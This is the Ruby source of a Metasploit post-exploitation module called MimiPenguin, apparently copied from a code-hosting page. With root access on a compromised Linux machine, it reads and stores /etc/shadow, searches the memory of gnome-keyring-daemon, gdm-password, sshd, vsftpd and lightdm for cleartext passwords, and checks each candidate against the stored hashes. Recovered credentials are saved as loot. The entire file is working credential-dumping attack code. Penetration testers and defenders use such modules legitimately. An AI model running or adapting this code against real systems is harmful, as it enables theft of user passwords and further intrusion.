Path: blob/master/modules/post/linux/gather/mimipenguin.rb
24491 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'unix_crypt'67class MetasploitModule < Msf::Post8include Msf::Post::Linux::Priv9include Msf::Post::Linux::System10include Msf::Post::Linux::Process1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'MimiPenguin',17'Description' => %q{18This searches process memory for needles that indicate19where cleartext passwords may be located. If any needles20are discovered in the target process memory, collected21strings in adjacent memory will be hashed and compared22with password hashes found in `/etc/shadow`.23},24'License' => MSF_LICENSE,25'Author' => [26'huntergregal', # MimiPenguin27'bcoles', # original MimiPenguin module, table and python code28'Shelby Pace' # metasploit module29],30'Platform' => [ 'linux' ],31'Arch' => [ ARCH_X86, ARCH_X64, ARCH_AARCH64 ],32'SessionTypes' => [ 'meterpreter' ],33'Targets' => [[ 'Auto', {} ]],34'Privileged' => true,35'References' => [36[ 'URL', 'https://github.com/huntergregal/mimipenguin' ],37[ 'URL', 'https://bugs.launchpad.net/ubuntu/+source/gnome-keyring/+bug/1772919' ],38[ 'URL', 'https://bugs.launchpad.net/ubuntu/+source/lightdm/+bug/1717490' ],39[ 'CVE', '2018-20781' ],40[ 'ATT&CK', Mitre::Attack::Technique::T1003_007_PROC_FILESYSTEM ],41[ 'ATT&CK', Mitre::Attack::Technique::T1003_008_ETC_PASSWD_AND_ETC_SHADOW ]42],43'DisclosureDate' => '2018-05-23',44'DefaultTarget' => 0,45'Notes' => {46'Stability' => [CRASH_SAFE],47'Reliability' => [],48'SideEffects' => []49},50'Compat' => {51'Meterpreter' => {52'Commands' => %w[53stdapi_sys_process_attach54stdapi_sys_process_memory_read55stdapi_sys_process_memory_search56]57}58}59)60)61end6263def get_user_names_and_hashes64shadow_contents = read_file('/etc/shadow')65fail_with(Failure::UnexpectedReply, "Failed to read '/etc/shadow'") if shadow_contents.blank?66vprint_status('Storing shadow file...')67store_loot('shadow.file', 'text/plain', session, shadow_contents, nil)6869users = []70lines = shadow_contents.split71lines.each do |line|72line_arr = line.split(':')73next if line_arr.empty?7475user_name = line_arr&.first76hash = line_arr&.second77next unless hash.start_with?('$')78next if hash.nil? || user_name.nil?7980users << { 'username' => user_name, 'hash' => hash }81end8283users84end8586def configure_passwords(user_data = [])87user_data.each do |info|88hash = info['hash']89hash_format = Metasploit::Framework::Hashes.identify_hash(hash)90info['type'] = hash_format.empty? ? 'unsupported' : hash_format9192salt = ''93if info['type'] == 'bf'94arr = hash.split('$')95next if arr.length < 49697cost = arr[2]98salt = arr[3][0..21]99info['cost'] = cost100elsif info['type'] == 'yescrypt'101salt = hash[0...29]102else103salt = hash.split('$')[2]104end105next if salt.nil?106107info['salt'] = salt108end109110user_data111end112113def get_matches(target_info = {})114if target_info.empty?115vprint_status('Invalid target info supplied')116return nil117end118119target_pids = pidof(target_info['name'])120if target_pids.nil?121print_bad("PID for #{target_info['name']} not found.")122return nil123end124125target_info['matches'] = {}126target_info['pids'] = target_pids127target_info['pids'].each_with_index do |target_pid, _ind|128vprint_status("Searching PID #{target_pid}...")129response = session.sys.process.memory_search(pid: target_pid, needles: target_info['needles'], min_match_length: 5, max_match_length: 500)130131matches = []132response.each(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_RESULTS) do |res|133match_data = {}134match_data['match_str'] = res.get_tlv_value(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_MATCH_STR)135match_data['match_offset'] = res.get_tlv_value(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_MATCH_ADDR)136match_data['sect_start'] = res.get_tlv_value(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_START_ADDR)137match_data['sect_len'] = res.get_tlv_value(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_SECT_LEN)138139matches << match_data140end141142target_info['matches'][target_pid] = matches.empty? ? nil : matches143end144end145146def format_addresses(addr_line)147address = addr_line.split&.first148start_addr, end_addr = address.split('-')149start_addr = start_addr.to_i(16)150end_addr = end_addr.to_i(16)151152{ 'start' => start_addr, 'end' => end_addr }153end154155# Selects memory regions to read based on locations156# of matches157def choose_mem_regions(pid, match_data = [])158return [] if match_data.empty?159160mem_regions = []161match_data.each do |match|162next unless match.key?('sect_start') && match.key?('sect_len')163164start = match.fetch('sect_start')165len = match.fetch('sect_len')166mem_regions << { 'start' => start, 'length' => len }167end168169mem_regions.uniq!170mem_data = read_file("/proc/#{pid}/maps")171return mem_regions if mem_data.nil?172173lines = mem_data.split("\n")174updated_regions = mem_regions.clone175if mem_regions.length == 1176match_addr = mem_regions[0]['start'].to_s(16)177match_ind = lines.index { |line| line.split('-').first.include?(match_addr) }178prev = lines[match_ind - 1]179if prev && prev.include?('00000000 00:00 0')180formatted = format_addresses(prev)181start_addr = formatted['start']182end_addr = formatted['end']183length = end_addr - start_addr184185updated_regions << { 'start' => start_addr, 'length' => length }186end187188post = lines[match_ind + 1]189if post && post.include?('00000000 00:00 0')190formatted = format_addresses(post)191start_addr = formatted['start']192end_addr = formatted['end']193length = end_addr - start_addr194195updated_regions << { 'start' => start_addr, 'length' => length }196end197198return updated_regions199end200201mem_regions.each_with_index do |region, index|202next if index == 0203204first_addr = mem_regions[index - 1]['start']205curr_addr = region['start']206first_addr = first_addr.to_s(16)207curr_addr = curr_addr.to_s(16)208first_index = lines.index { |line| line.start_with?(first_addr) }209curr_index = lines.index { |line| line.start_with?(curr_addr) }210next if first_index.nil? || curr_index.nil?211212between_vals = lines.values_at(first_index + 1...curr_index)213between_vals = between_vals.select { |line| line.include?('00000000 00:00 0') }214if between_vals.empty?215next unless region == mem_regions.last216217adj_region = lines[curr_index + 1]218return updated_regions if adj_region.nil?219220formatted = format_addresses(adj_region)221start_addr = formatted['start']222end_addr = formatted['end']223length = end_addr - start_addr224updated_regions << { 'start' => start_addr, 'length' => length }225return updated_regions226end227228between_vals.each do |addr_line|229formatted = format_addresses(addr_line)230start_addr = formatted['start']231end_addr = formatted['end']232length = end_addr - start_addr233updated_regions << { 'start' => start_addr, 'length' => length }234end235end236237updated_regions238end239240def get_printable_strings(pid, start_addr, section_len)241lines = []242curr_addr = start_addr243max_addr = start_addr + section_len244245while curr_addr < max_addr246data = mem_read(curr_addr, 1000, pid: pid)247lines << data.split(/[^[:print:]]/)248lines = lines.flatten249curr_addr += 800250end251252lines.reject! { |line| line.length < 4 }253lines254end255256def get_python_version257@python_vers ||= command_exists?('python3') ? 'python3' : ''258259if @python_vers.empty?260@python_vers ||= command_exists?('python') ? 'python' : ''261end262end263264def check_for_valid_passwords(captured_strings, user_data, process_name)265captured_strings.each do |str|266user_data.each do |pass_info|267salt = pass_info['salt']268hash = pass_info['hash']269pass_type = pass_info['type']270271case pass_type272when 'md5'273hashed = UnixCrypt::MD5.build(str, salt)274when 'bf'275BCrypt::Engine.cost = pass_info['cost'] || 12276hashed = BCrypt::Engine.hash_secret(str, hash[0..28])277when /sha256/278hashed = UnixCrypt::SHA256.build(str, salt)279when /sha512/280hashed = UnixCrypt::SHA512.build(str, salt)281when 'yescrypt'282get_python_version283next if @python_vers.empty?284285if @python_vers == 'python3'286code = "import crypt; import base64; print(crypt.crypt(base64.b64decode('#{Rex::Text.encode_base64(str)}').decode('utf-8'), base64.b64decode('#{Rex::Text.encode_base64(salt.to_s)}').decode('utf-8')))"287cmd = "python3 -c \"#{code}\""288else289code = "import crypt; import base64; print crypt.crypt(base64.b64decode('#{Rex::Text.encode_base64(str)}'), base64.b64decode('#{Rex::Text.encode_base64(salt.to_s)}'))"290cmd = "python -c \"#{code}\""291end292hashed = cmd_exec(cmd).to_s.strip293when 'unsupported'294next295end296297next unless hashed == hash298299pass_info['password'] = str300pass_info['process'] = process_name301end302end303end304305def run306fail_with(Failure::BadConfig, 'Root privileges are required') unless is_root?307user_data = get_user_names_and_hashes308fail_with(Failure::UnexpectedReply, 'Failed to retrieve user information') if user_data.empty?309password_data = configure_passwords(user_data)310311target_proc_info = [312{313'name' => 'gnome-keyring-daemon',314'needles' => [315'^+libgck\\-1.so\\.0$',316'libgcrypt\\.so\\..+$',317'linux-vdso\\.so\\.1$',318'libc\\.so\\.6$'319]320},321{322'name' => 'gdm-password',323'needles' => [324'^_pammodutil_getpwnam_root_1$',325'^gkr_system_authtok$'326]327},328{329'name' => 'vsftpd',330'needles' => [331'^::.+\\:[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}$'332]333},334{335'name' => 'sshd',336'needles' => [337'^sudo.+'338]339},340{341'name' => 'lightdm',342'needles' => [343'^_pammodutil_getspnam_'344]345}346]347348captured_strings = []349target_proc_info.each do |info|350print_status("Checking for matches in process #{info['name']}")351match_set = get_matches(info)352if match_set.nil?353vprint_status("No matches found for process #{info['name']}")354next355end356357vprint_status('Choosing memory regions to search')358next if info['pids'].empty?359next if info['matches'].values.all?(&:nil?)360361info['matches'].each do |pid, set|362next unless set363364search_regions = choose_mem_regions(pid, set)365next if search_regions.empty?366367search_regions.each { |reg| captured_strings << get_printable_strings(pid, reg['start'], reg['length']) }368captured_strings.flatten!369captured_strings.uniq!370check_for_valid_passwords(captured_strings, password_data, info['name'])371captured_strings = []372end373end374375results = password_data.select { |res| res.key?('password') && !res['password'].nil? }376fail_with(Failure::NotFound, 'Failed to find any passwords') if results.empty?377print_good("Found #{results.length} valid credential(s)!")378379table = Rex::Text::Table.new(380'Header' => 'Credentials',381'Indent' => 2,382'SortIndex' => 0,383'Columns' => [ 'Process Name', 'Username', 'Password' ]384)385386results.each do |res|387table << [ res['process'], res['username'], res['password'] ]388store_valid_credential(389user: res['username'],390private: res['password'],391private_type: :password392)393end394395print_line396print_line(table.to_s)397path = store_loot(398'mimipenguin.csv',399'text/plain',400session,401table.to_csv,402nil403)404405print_status("Credentials stored in #{path}")406end407end408409410